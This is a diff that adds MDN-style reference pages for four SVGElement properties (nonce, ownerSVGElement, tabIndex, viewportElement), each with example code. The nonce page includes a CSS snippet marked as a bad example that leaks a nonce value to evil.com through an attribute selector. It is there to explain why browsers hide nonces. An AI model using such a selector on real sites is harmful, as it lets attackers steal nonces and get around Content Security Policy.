New Pages: SVGElement (#37369)

files/en-us/web/api/svgelement/nonce/index.md

@@ -0,0 +1,54 @@
+---
+title: "SVGElement: nonce property"
+short-title: nonce
+slug: Web/API/SVGElement/nonce
+page-type: web-api-instance-property
+browser-compat: api.SVGElement.nonce
+---
+
+{{APIRef("SVG")}}
+
+The **`nonce`** property of the {{DOMxRef("SVGElement")}} interface returns the nonce that is used by [Content Security Policy](/en-US/docs/Web/HTTP/CSP) to determine whether a given fetch will be allowed to proceed.
+
+## Value
+
+A String; the cryptographic nonce, or an empty string if no nonce is set.
+
+## Examples
+
+### Retrieving a nonce value
+
+In the past, not all browsers supported the `nonce` IDL attribute, so a workaround is to try to use [`getAttribute`](/en-US/docs/Web/API/Element/getAttribute) as a fallback:
+
+```js
+const svg = document.querySelector("svg");
+const nonce = svg.nonce || svg.getAttribute("nonce");
+
+// Modern browsers hide the nonce attribute from getAttribute()
+console.log(nonce); // Prefer using `svg.nonce`
+```
+
+However, recent browsers version hide `nonce` values that are accessed this way (an empty string will be returned). The IDL property (`svg['nonce']`) will be the only way to access nonces.
+
+Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this CSS selector:
+
+```css example-bad
+svg[nonce~="whatever"] {
+  background: url("https://evil.com/nonce?whatever");
+}
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{domxref("HTMLElement.nonce")}} a similar method for HTML elements.
+- [`nonce` global attribute](/en-US/docs/Web/HTML/Global_attributes/nonce)
+- [Content Security Policy](/en-US/docs/Web/HTTP/CSP)
+- CSP: {{CSP("script-src")}}

files/en-us/web/api/svgelement/ownersvgelement/index.md

@@ -0,0 +1,46 @@
+---
+title: "SVGElement: ownerSVGElement property"
+short-title: ownerSVGElement
+slug: Web/API/SVGElement/ownerSVGElement
+page-type: web-api-instance-property
+browser-compat: api.SVGElement.ownerSVGElement
+---
+
+{{APIRef("SVG")}}
+
+The **`ownerSVGElement`** property of the {{DOMxRef("SVGElement")}} interface reflects the nearest ancestor {{SVGElement("svg")}} element. `null` if the given element is the outermost `<svg>` element.
+
+## Value
+
+An {{DOMxRef("SVGSVGElement")}}.
+
+## Examples
+
+### Checking the owner `<svg>` element
+
+```html
+<svg id="outerSvg" xmlns="http://www.w3.org/2000/svg">
+  <g id="group1">
+    <circle id="circle1" cx="50" cy="50" r="40" fill="blue" />
+  </g>
+</svg>
+```
+
+```js
+const circle = document.getElementById("circle1");
+const ownerSVG = circle.ownerSVGElement;
+
+if (ownerSVG) {
+  console.log(`The circle's owner <svg> has the ID: ${ownerSVG.id}`);
+} else {
+  console.log("This element is the outermost <svg>.");
+}
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}

files/en-us/web/api/svgelement/tabindex/index.md

@@ -0,0 +1,70 @@
+---
+title: "SVGElement: tabIndex property"
+short-title: tabIndex
+slug: Web/API/SVGElement/tabIndex
+page-type: web-api-instance-property
+browser-compat: api.SVGElement.tabIndex
+---
+
+{{APIRef("SVG")}}
+
+The **`tabIndex`** property of the {{DOMxRef("SVGElement")}} interface represents the tab order of the current SVG element.
+
+Tab order is as follows:
+
+1. Elements with a positive `tabIndex`. Elements that have identical
+   `tabIndex` values should be navigated in the order they appear. Navigation
+   proceeds from the lowest `tabIndex` to the highest `tabIndex`.
+2. Elements that do not support the `tabIndex` attribute or support it and
+   assign `tabIndex` to `0`, in the order they appear.
+
+Elements that are disabled do not participate in the tabbing order.
+
+Values don't need to be sequential, nor must they begin with any particular value. They
+may even be negative, though each browser trims very large values.
+
+## Value
+
+An integer.
+
+## Examples
+
+### Setting the `tabIndex` property
+
+```html
+<svg id="svg1" tabindex="2" xmlns="http://www.w3.org/2000/svg" role="img">
+  <circle cx="50" cy="50" r="40" fill="blue"></circle>
+</svg>
+<svg id="svg2" xmlns="http://www.w3.org/2000/svg" role="img">
+  <rect width="100" height="100" fill="green"></rect>
+</svg>
+```
+
+```js
+const svg1 = document.getElementById("svg1");
+const svg2 = document.getElementById("svg2");
+
+// Access and modify the tabIndex
+console.log(svg1.tabIndex); // 2
+svg2.tabIndex = 1; // Add svg2 to the tab order before svg1
+
+// Programmatically focus on an element with negative tabIndex
+svg1.tabIndex = -1;
+svg1.focus(); // Works, even though it is not in the tabbing order
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{domxref("HTMLElement.tabIndex")}} a similar method for HTML elements.
+- [Accessibility of keyboard-navigable JavaScript widgets](/en-US/docs/Web/Accessibility/Keyboard-navigable_JavaScript_widgets)
+- The HTML
+  [`tabindex`](/en-US/docs/Web/HTML/Global_attributes/tabindex)
+  global attribute.

files/en-us/web/api/svgelement/viewportelement/index.md

@@ -0,0 +1,49 @@
+---
+title: "SVGElement: viewportElement property"
+short-title: viewportElement
+slug: Web/API/SVGElement/viewportElement
+page-type: web-api-instance-property
+browser-compat: api.SVGElement.viewportElement
+---
+
+{{APIRef("SVG")}}
+
+The **`viewportElement`** property of the {{DOMxRef("SVGElement")}} interface represents the `SVGElement` which established the current viewport. Often the nearest ancestor {{SVGElement("svg")}} element. `null` if the given element is the outermost `<svg>` element.
+
+## Value
+
+An {{DOMxRef("SVGElement")}}.
+
+## Examples
+
+### Retrieving the `viewportElement`
+
+```html
+<svg id="outerSvg" width="200" height="200" xmlns="http://www.w3.org/2000/svg">
+  <svg id="innerSvg" x="10" y="10" width="100" height="100">
+    <circle id="circle" cx="50" cy="50" r="40" fill="blue"></circle>
+  </svg>
+</svg>
+```
+
+```js
+const circle = document.getElementById("circle");
+const innerSvg = document.getElementById("innerSvg");
+const outerSvg = document.getElementById("outerSvg");
+
+console.log(circle.viewportElement); // Output: <svg id="innerSvg">...</svg>
+console.log(innerSvg.viewportElement); // Output: <svg id="outerSvg">...</svg>
+console.log(outerSvg.viewportElement); // Output: null
+```
+
+## Specifications
+
+{{Specifications}}
+
+## Browser compatibility
+
+{{Compat}}
+
+## See also
+
+- {{domxref("SVGElement.ownerSVGElement")}}: Retrieves the nearest ancestor `<svg>` element for the current SVG element.